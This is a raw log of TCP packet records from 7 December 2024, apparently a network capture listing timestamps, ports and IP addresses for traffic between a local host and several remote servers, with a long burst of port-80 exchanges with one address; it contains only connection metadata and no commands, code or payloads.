Dec 7, 2024 15:06:23.275770903 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.275818110 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:23.275829077 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.281651974 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.281708956 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:23.281718016 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.287600040 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.287663937 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:23.287672997 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.293365002 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.293431997 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:23.293442011 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.299968958 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.300039053 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:23.300064087 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.312427998 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.312490940 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:23.312501907 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.324181080 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.324238062 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:23.324254036 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.326540947 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.326591015 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:23.326598883 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.334142923 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.334212065 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:23.334220886 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.336045027 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.336098909 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:23.336236954 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:23.336253881 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.611051083 CET	49722	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:23.611094952 CET	443	49722	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.611181974 CET	49722	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:23.611378908 CET	49722	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:23.611392021 CET	443	49722	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:24.729163885 CET	49723	443	192.168.2.8	23.218.208.109
Dec 7, 2024 15:06:24.729192019 CET	443	49723	23.218.208.109	192.168.2.8
Dec 7, 2024 15:06:24.729265928 CET	49723	443	192.168.2.8	23.218.208.109
Dec 7, 2024 15:06:24.730396986 CET	49723	443	192.168.2.8	23.218.208.109
Dec 7, 2024 15:06:24.730407953 CET	443	49723	23.218.208.109	192.168.2.8
Dec 7, 2024 15:06:24.738599062 CET	443	49718	172.202.163.200	192.168.2.8
Dec 7, 2024 15:06:24.738672972 CET	49718	443	192.168.2.8	172.202.163.200
Dec 7, 2024 15:06:24.741134882 CET	49718	443	192.168.2.8	172.202.163.200
Dec 7, 2024 15:06:24.741141081 CET	443	49718	172.202.163.200	192.168.2.8
Dec 7, 2024 15:06:24.741384029 CET	443	49718	172.202.163.200	192.168.2.8
Dec 7, 2024 15:06:24.788569927 CET	49718	443	192.168.2.8	172.202.163.200
Dec 7, 2024 15:06:24.813329935 CET	49718	443	192.168.2.8	172.202.163.200
Dec 7, 2024 15:06:24.859323025 CET	443	49718	172.202.163.200	192.168.2.8
Dec 7, 2024 15:06:24.986998081 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:24.987248898 CET	49726	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:25.106714010 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:25.106923103 CET	80	49726	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:25.107043982 CET	49726	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:25.107165098 CET	49726	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:25.227112055 CET	80	49726	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:25.301415920 CET	443	49722	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:25.301650047 CET	49722	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:25.301664114 CET	443	49722	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:25.301990032 CET	443	49722	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:25.302341938 CET	49722	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:25.302400112 CET	443	49722	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:25.350349903 CET	49722	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:25.406351089 CET	443	49718	172.202.163.200	192.168.2.8
Dec 7, 2024 15:06:25.406375885 CET	443	49718	172.202.163.200	192.168.2.8
Dec 7, 2024 15:06:25.406382084 CET	443	49718	172.202.163.200	192.168.2.8
Dec 7, 2024 15:06:25.406402111 CET	443	49718	172.202.163.200	192.168.2.8
Dec 7, 2024 15:06:25.406426907 CET	443	49718	172.202.163.200	192.168.2.8
Dec 7, 2024 15:06:25.406435966 CET	49718	443	192.168.2.8	172.202.163.200
Dec 7, 2024 15:06:25.406449080 CET	443	49718	172.202.163.200	192.168.2.8
Dec 7, 2024 15:06:25.406462908 CET	49718	443	192.168.2.8	172.202.163.200
Dec 7, 2024 15:06:25.406474113 CET	49718	443	192.168.2.8	172.202.163.200
Dec 7, 2024 15:06:25.406498909 CET	49718	443	192.168.2.8	172.202.163.200
Dec 7, 2024 15:06:25.430389881 CET	443	49718	172.202.163.200	192.168.2.8
Dec 7, 2024 15:06:25.430452108 CET	49718	443	192.168.2.8	172.202.163.200
Dec 7, 2024 15:06:25.430458069 CET	443	49718	172.202.163.200	192.168.2.8
Dec 7, 2024 15:06:25.430491924 CET	443	49718	172.202.163.200	192.168.2.8
Dec 7, 2024 15:06:25.430624962 CET	49718	443	192.168.2.8	172.202.163.200
Dec 7, 2024 15:06:25.431549072 CET	49718	443	192.168.2.8	172.202.163.200
Dec 7, 2024 15:06:25.431560040 CET	443	49718	172.202.163.200	192.168.2.8
Dec 7, 2024 15:06:25.431571007 CET	49718	443	192.168.2.8	172.202.163.200
Dec 7, 2024 15:06:25.431576014 CET	443	49718	172.202.163.200	192.168.2.8
Dec 7, 2024 15:06:26.121802092 CET	443	49723	23.218.208.109	192.168.2.8
Dec 7, 2024 15:06:26.121939898 CET	49723	443	192.168.2.8	23.218.208.109
Dec 7, 2024 15:06:26.123629093 CET	49723	443	192.168.2.8	23.218.208.109
Dec 7, 2024 15:06:26.123635054 CET	443	49723	23.218.208.109	192.168.2.8
Dec 7, 2024 15:06:26.123892069 CET	443	49723	23.218.208.109	192.168.2.8
Dec 7, 2024 15:06:26.166307926 CET	49723	443	192.168.2.8	23.218.208.109
Dec 7, 2024 15:06:26.187463045 CET	49723	443	192.168.2.8	23.218.208.109
Dec 7, 2024 15:06:26.231339931 CET	443	49723	23.218.208.109	192.168.2.8
Dec 7, 2024 15:06:26.633924007 CET	443	49723	23.218.208.109	192.168.2.8
Dec 7, 2024 15:06:26.634052038 CET	443	49723	23.218.208.109	192.168.2.8
Dec 7, 2024 15:06:26.634124041 CET	49723	443	192.168.2.8	23.218.208.109
Dec 7, 2024 15:06:26.634232998 CET	49723	443	192.168.2.8	23.218.208.109
Dec 7, 2024 15:06:26.634232998 CET	49723	443	192.168.2.8	23.218.208.109
Dec 7, 2024 15:06:26.634248972 CET	443	49723	23.218.208.109	192.168.2.8
Dec 7, 2024 15:06:26.634258032 CET	443	49723	23.218.208.109	192.168.2.8
Dec 7, 2024 15:06:26.804303885 CET	49728	443	192.168.2.8	23.218.208.109
Dec 7, 2024 15:06:26.804331064 CET	443	49728	23.218.208.109	192.168.2.8
Dec 7, 2024 15:06:26.804548025 CET	49728	443	192.168.2.8	23.218.208.109
Dec 7, 2024 15:06:26.939510107 CET	49728	443	192.168.2.8	23.218.208.109
Dec 7, 2024 15:06:26.939519882 CET	443	49728	23.218.208.109	192.168.2.8
Dec 7, 2024 15:06:26.950519085 CET	80	49726	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:26.951735973 CET	49726	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:27.158679008 CET	49729	443	192.168.2.8	172.217.19.206
Dec 7, 2024 15:06:27.158705950 CET	443	49729	172.217.19.206	192.168.2.8
Dec 7, 2024 15:06:27.158791065 CET	49729	443	192.168.2.8	172.217.19.206
Dec 7, 2024 15:06:27.162350893 CET	49729	443	192.168.2.8	172.217.19.206
Dec 7, 2024 15:06:27.162363052 CET	443	49729	172.217.19.206	192.168.2.8
Dec 7, 2024 15:06:27.294181108 CET	49726	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:27.413839102 CET	80	49726	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:27.467206001 CET	49722	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:27.467245102 CET	49729	443	192.168.2.8	172.217.19.206
Dec 7, 2024 15:06:27.692390919 CET	49704	443	192.168.2.8	23.206.229.226
Dec 7, 2024 15:06:27.692491055 CET	49704	443	192.168.2.8	23.206.229.226
Dec 7, 2024 15:06:27.707531929 CET	49734	443	192.168.2.8	23.206.229.226
Dec 7, 2024 15:06:27.707586050 CET	443	49734	23.206.229.226	192.168.2.8
Dec 7, 2024 15:06:27.707847118 CET	49734	443	192.168.2.8	23.206.229.226
Dec 7, 2024 15:06:27.722413063 CET	49734	443	192.168.2.8	23.206.229.226
Dec 7, 2024 15:06:27.722445965 CET	443	49734	23.206.229.226	192.168.2.8
Dec 7, 2024 15:06:27.820519924 CET	443	49704	23.206.229.226	192.168.2.8
Dec 7, 2024 15:06:27.820532084 CET	443	49704	23.206.229.226	192.168.2.8
Dec 7, 2024 15:06:28.227217913 CET	80	49726	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:28.227279902 CET	49726	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:28.313853025 CET	443	49728	23.218.208.109	192.168.2.8
Dec 7, 2024 15:06:28.313942909 CET	49728	443	192.168.2.8	23.218.208.109
Dec 7, 2024 15:06:28.315150976 CET	49728	443	192.168.2.8	23.218.208.109
Dec 7, 2024 15:06:28.315155983 CET	443	49728	23.218.208.109	192.168.2.8
Dec 7, 2024 15:06:28.315381050 CET	443	49728	23.218.208.109	192.168.2.8
Dec 7, 2024 15:06:28.316468954 CET	49728	443	192.168.2.8	23.218.208.109
Dec 7, 2024 15:06:28.363342047 CET	443	49728	23.218.208.109	192.168.2.8
Dec 7, 2024 15:06:28.830338955 CET	443	49728	23.218.208.109	192.168.2.8
Dec 7, 2024 15:06:28.830404997 CET	443	49728	23.218.208.109	192.168.2.8
Dec 7, 2024 15:06:28.830493927 CET	49728	443	192.168.2.8	23.218.208.109
Dec 7, 2024 15:06:28.885643959 CET	49728	443	192.168.2.8	23.218.208.109
Dec 7, 2024 15:06:28.885663986 CET	443	49728	23.218.208.109	192.168.2.8
Dec 7, 2024 15:06:29.063378096 CET	443	49734	23.206.229.226	192.168.2.8
Dec 7, 2024 15:06:29.063467026 CET	49734	443	192.168.2.8	23.206.229.226
Dec 7, 2024 15:06:33.232556105 CET	80	49726	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:33.232646942 CET	49726	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:39.788095951 CET	49726	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:39.788348913 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:39.907835960 CET	80	49726	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:39.908016920 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:39.908109903 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:39.908323050 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:40.028615952 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:41.726664066 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:41.726766109 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:42.130940914 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:42.250735044 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:42.576809883 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:42.576839924 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:42.576850891 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:42.576867104 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:42.576896906 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:42.576904058 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:42.576977968 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:42.577014923 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:42.577055931 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:42.577068090 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:42.577078104 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:42.577097893 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:42.577110052 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:42.577276945 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:42.577286959 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:42.577291965 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:42.577351093 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:42.584954023 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:42.585004091 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:42.698564053 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:42.698642015 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:42.768996000 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:42.769021034 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:42.769190073 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:42.771733046 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:42.771809101 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:42.771840096 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:42.771881104 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:42.779489994 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:42.779560089 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:42.779683113 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:42.779726982 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:42.787739992 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:42.787803888 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:42.787849903 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:42.787893057 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:42.796039104 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:42.796087027 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:42.796129942 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:42.796165943 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:42.804369926 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:42.804425001 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:42.804456949 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:42.804493904 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:42.812639952 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:42.812696934 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:42.812706947 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:42.812755108 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:42.821116924 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:42.821171999 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:42.821218014 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:42.821264029 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:42.829180002 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:42.829233885 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:42.829307079 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:42.829355955 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:42.837543011 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:42.837609053 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:42.837650061 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:42.837697983 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:42.845302105 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:42.845366955 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:42.845407963 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:42.845454931 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:42.853019953 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:42.853075981 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:42.961095095 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:42.961175919 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:42.961186886 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:42.961225986 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:42.963629007 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:42.963692904 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:42.963733912 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:42.963774920 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:42.968365908 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:42.968401909 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:42.968416929 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:42.968441963 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:42.973231077 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:42.973283052 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:42.973355055 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:42.973400116 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:42.978080034 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:42.978132010 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:42.978200912 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:42.978255033 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:42.982840061 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:42.982891083 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:42.982968092 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:42.983016014 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:42.987459898 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:42.987514019 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:42.987555981 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:42.987598896 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:42.992203951 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:42.992261887 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:42.992266893 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:42.992305994 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:42.996820927 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:42.996874094 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:42.997108936 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:42.997159004 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.001435041 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.001497030 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.001560926 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.001611948 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.006299973 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.006357908 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.006359100 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.006395102 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.010885000 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.010941029 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.011007071 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.011050940 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.015456915 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.015508890 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.015578032 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.015623093 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.020109892 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.020157099 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.020219088 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.020256996 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.025002956 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.025054932 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.025139093 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.025193930 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.029486895 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.029540062 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.029690981 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.029748917 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.034307957 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.034365892 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.034495115 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.034545898 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.038801908 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.038851976 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.038851976 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.038888931 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.043526888 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.043579102 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.043606043 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.043643951 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.048151016 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.048203945 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.048245907 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.048285961 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.052849054 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.052911043 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.052958012 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.053002119 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.080988884 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.081070900 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.081126928 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.081168890 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.083379984 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.083431005 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.153240919 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.153296947 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.153403997 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.153444052 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.158497095 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.158545971 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.164319038 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.164361954 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.164383888 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.164396048 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.164419889 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.164494038 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.164505959 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.164532900 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.164546967 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.167319059 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.167401075 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.167439938 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.167481899 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.170342922 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.170388937 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.170447111 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.170480967 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.174089909 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.174138069 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.174194098 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.174261093 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.177601099 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.177642107 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.177819967 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.177867889 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.181247950 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.181312084 CET	49738	80	192.168.2.8	185.215.113.206
